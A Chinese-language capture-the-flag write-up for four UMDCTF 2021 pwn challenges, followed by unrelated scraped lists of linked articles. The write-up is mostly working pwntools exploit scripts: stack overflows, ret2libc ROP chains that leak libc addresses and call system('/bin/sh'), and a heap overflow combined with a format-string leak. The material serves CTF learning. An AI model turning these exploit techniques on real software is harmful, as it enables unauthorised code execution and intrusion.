UMDCTF 2021
6道pwn题,4道可以做。剩下一道题是arm架构,一道题是内核,溜了溜了。
Jump_Not_Easy
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context.log_level = 'debug'
6
7 def duan():
8 gdb.attach(p)
9 pause()
10
11 payload = 'a'*0x40+'bbbbbbbb'+p64(0x040125D)
12 p.sendlineafter('go?\n',payload)
13 p.recv()
Jump_Is_Easy
system怎么也打不通,加了个ret才打通,估计又是栈对齐的问题(猜的)。
1 from pwn import *
2 from LibcSearcher import *
3
4 p = process('./pwn')
5 elf = ELF('./pwn')
6 context.log_level = 'debug'
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 pop_rdi = 0x004012c3
13 ret = 0x0040101a
14 fun_got = elf.got['__libc_start_main']
15 puts_plt = elf.plt['puts']
16 main = elf.symbols['main']
17
18 payload = 'a'*0x40+'bbbbbbbb'
19 payload+= p64(pop_rdi)+p64(fun_got)
20 payload+= p64(puts_plt)+p64(main)
21
22 p.sendlineafter('go?\n',payload)
23 fun_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
24 libc = LibcSearcher("__libc_start_main", fun_addr)
25 libc_base = fun_addr-libc.dump("__libc_start_main")
26 system = libc_base+libc.dump("system")
27 binsh = libc_base+libc.dump("str_bin_sh")
28 print 'system-->'+hex(system)
29 print 'binsh-->'+hex(binsh)
30 print 'libc_base-->'+hex(libc_base)
31
32 payload = 'a'*0x40+'bbbbbbbb'+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
33 p.sendlineafter('go?\n',payload)
34 p.interactive()
Jump_Not_Working
感觉和上一题一样...
1 from pwn import *
2 from LibcSearcher import *
3
4 p = process('./pwn')
5 p = remote('chals5.umdctf.io',7004)
6 elf = ELF('./pwn')
7 context.log_level = 'debug'
8
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 pop_rdi = 0x004012c3
14 ret = 0x0040101a
15 fun_got = elf.got['__libc_start_main']
16 puts_plt = elf.plt['puts']
17 main = elf.symbols['main']
18
19 payload = 'a'*0x40+'bbbbbbbb'
20 payload+= p64(pop_rdi)+p64(fun_got)
21 payload+= p64(puts_plt)+p64(main)
22
23 p.sendlineafter('go?\n',payload)
24 fun_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
25 libc = LibcSearcher("__libc_start_main", fun_addr)
26 libc_base = fun_addr-libc.dump("__libc_start_main")
27 system = libc_base+libc.dump("system")
28 binsh = libc_base+libc.dump("str_bin_sh")
29 print 'system-->'+hex(system)
30 print 'binsh-->'+hex(binsh)
31 print 'libc_base-->'+hex(libc_base)
32
33 payload = 'a'*0x40+'bbbbbbbb'+p64(pop_rdi)+p64(binsh)+p64(system)
34 p.sendlineafter('go?\n',payload)
35 p.interactive()
Jump_Is_Found
堆溢出+格式化字符串漏洞,不知道为什么打不了got表。仔细分析代码就可以出。
1 from pwn import *
2 from LibcSearcher import *
3
4 p = process('./pwn')
5 elf = ELF('./pwn')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 payload = 'a'*0x100+p64(0)+p64(0x111)+'%51$p'
13 p.sendlineafter('CONSOLE> ',payload)
14 p.recvuntil('location: ')
15 fun_got = int(p.recv(14),16)-231
16
17 libc = LibcSearcher("__libc_start_main",fun_got)
18 libc_base = fun_got-libc.dump("__libc_start_main")
19 system = libc_base+libc.dump("system")
20 binsh = libc_base+libc.dump("str_bin_sh")
21 print 'libc_base-->'+hex(libc_base)
22 print 'system-->'+hex(system)
23
24 payload = '1'.ljust(0x100,'a')+p64(0)+p64(0x111)+'/bin/sh\x00'.ljust(0x100,'a')+p64(0)+p64(0x21)+p64(system)*3
25 p.sendlineafter('CONSOLE> ',payload)
26 p.interactive()
总结
第一次做国外的比赛,感觉还算友好。

UMDCTF 2021的更多相关文章
- codevs 2021 中庸之道
		
2021 中庸之道 时间限制: 1 s 空间限制: 128000 KB 题目等级 : 钻石 Diamond 题目描述 Description 给定一个长度为N的序列,有Q次询问,每次 ...
 - Bzoj 1982: [Spoj 2021]Moving Pebbles  博弈论
		
1982: [Spoj 2021]Moving Pebbles Time Limit: 10 Sec Memory Limit: 64 MBSubmit: 130 Solved: 88[Submi ...
 - poj 2021 Relative Relatives(暴力)
		
题目链接:http://poj.org/problem?id=2021 思路分析:由于数据较小,采用O(N^2)的暴力算法,算出所有后代的年龄,再排序输出. 代码分析: #include <io ...
 - iPhone屏蔽IOS更新、iPhone系统更新的提示(免越狱,有效期更新至2021年)
		
iPhone屏蔽IOS更新.iPhone系统更新的提示(免越狱,有效期更新至2021年) 1.在Safari浏览器中粘贴如下链接,按提示打开链接. 输入http://apt.dataage.pub 2 ...
 - HDU 2021 发工资咯:)
		
http://acm.hdu.edu.cn/showproblem.php?pid=2021 Problem Description 作为杭电的老师,最盼望的日子就是每月的8号了,因为这一天是发工资的 ...
 - Math.abs(~2020)  按位取反后的绝对值是多少 2021, 按位取反后,比正数多1
		
Math.abs(~2020) 按位取反后的绝对值是多少 2021, 按位取反后,比正数多1 int 值的取值 范围: -128 --- 127 之间, 0000 0000 按位取 ...
 - 部分PR回写的数量带有小数,分别是2023工厂的纸箱104007000389,2021工厂的纸盒404002005930;
		
描述:部分PR回写的数量带有小数,分别是2023工厂的纸箱104007000389,2021工厂的纸盒404002005930: 原因:所有物料规划PR时对舍入值的先后考虑逻辑影响到回写出来的temp ...
 - codves 2021中庸之道
		
2021 中庸之道 http://codevs.cn/problem/2021/ 题目描述 Description 给定一个长度为N的序列,有Q次询问,每次询问区间[L,R]的中位数. 数据保证序列中 ...
 - HDU 2021 发工资咯:)(最水贪心)
		
传送门: http://acm.hdu.edu.cn/showproblem.php?pid=2021 发工资咯:) Time Limit: 2000/1000 MS (Java/Others) ...
 
随机推荐
- NodeJS连接MongoDB和mongoose
			
1.MongoDB是一个基于分布式文件存储的数据库.由C++语言编写.旨在为WEB应用提供可扩展的高性能数据存储解决方案.是世界上目前用的最广泛的nosql数据库 2.noSql 翻译过来 not o ...
 - [noi38]游戏
			
用线段数维护一段区间内的两个信息:1.需要多少经验就可以让有一个人升级,2.等级和.单点修改直接暴力做就可以,区间修改考虑如果这个区间不会产生升级就不递归下去而是打上懒标记. 考虑这个算法的时间复杂度 ...
 - [atARC077F]SS
			
(以下字符串下标从0开始,并定义$2s=s+s$) 考虑$f(S)$,即令$l=\max_{2i<|S|且S[0,i)=S[|S|-i,|S|)]}i$,则$f(S)=S+S[l,|S|-l)$ ...
 - 数字逻辑实践5->Verilog语法 | wire 与 reg 的选择与特性
			
问题起因:最初学习数字逻辑设计理论的时候还没有注意到,在实验课上写代码的时候发现了一个问题: 对于源码模块的变量定义,何时定义为reg.何时定义为wire?它们各自又有什么特性和物理意义? 1. wi ...
 - MySQL的B+树索引和hash索引的区别
			
简述一下索引: 索引是数据库表中一列或多列的值进行排序的一种数据结构:索引分为聚集索引和非聚集索引,聚集索引查询类似书的目录,快速定位查找的数据,非聚集索引查询一般需要再次回表查询一次,如果不使用索引 ...
 - 洛谷 P7116 - [NOIP2020] 微信步数(拉格朗日插值)
			
洛谷题面传送门 我竟然独立切掉了这道题!incredible! 纪念我逝去的一上午(NOIP 总时长 4.5h,这题做了我整整 4.5h) 首先讲一下现场我想的 80 分的做法,虽然最后挂成了 65 ...
 - 模仿UP主,用Python实现一个弹幕控制的直播间!
			
灵感来源 之前在B站看到一个有意思的视频: [B站][亦]终极云游戏!五千人同开一辆车,复现经典群体智慧实验 大家可以看看,很有意思. up主通过代码实现了实时读取直播间里的弹幕内容,进而控制自己的电 ...
 - SR4R数据库:水稻4个SNP集的筛选及其应用
			
目录 前言 四个SNP集 hapmapSNPs tagSNPs fixedSNPs barcodeSNPs hapmapSNPs的指标统计 tagSNPs的群体结构验证 tagSNPs的遗传多样性 t ...
 - R语言hist重叠图作法
			
set.seed(1) h1<-hist(rnorm(1000,100,5)) h2<-hist(rnorm(1000,99,5)) plot(h2,col=rgb(255,0,0,50, ...
 - PHP-FPM运行状态的实时查看及监控详解
			
https://www.jb51.net/article/97640.htm https://blog.csdn.net/Dr_cokiy/article/details/105580758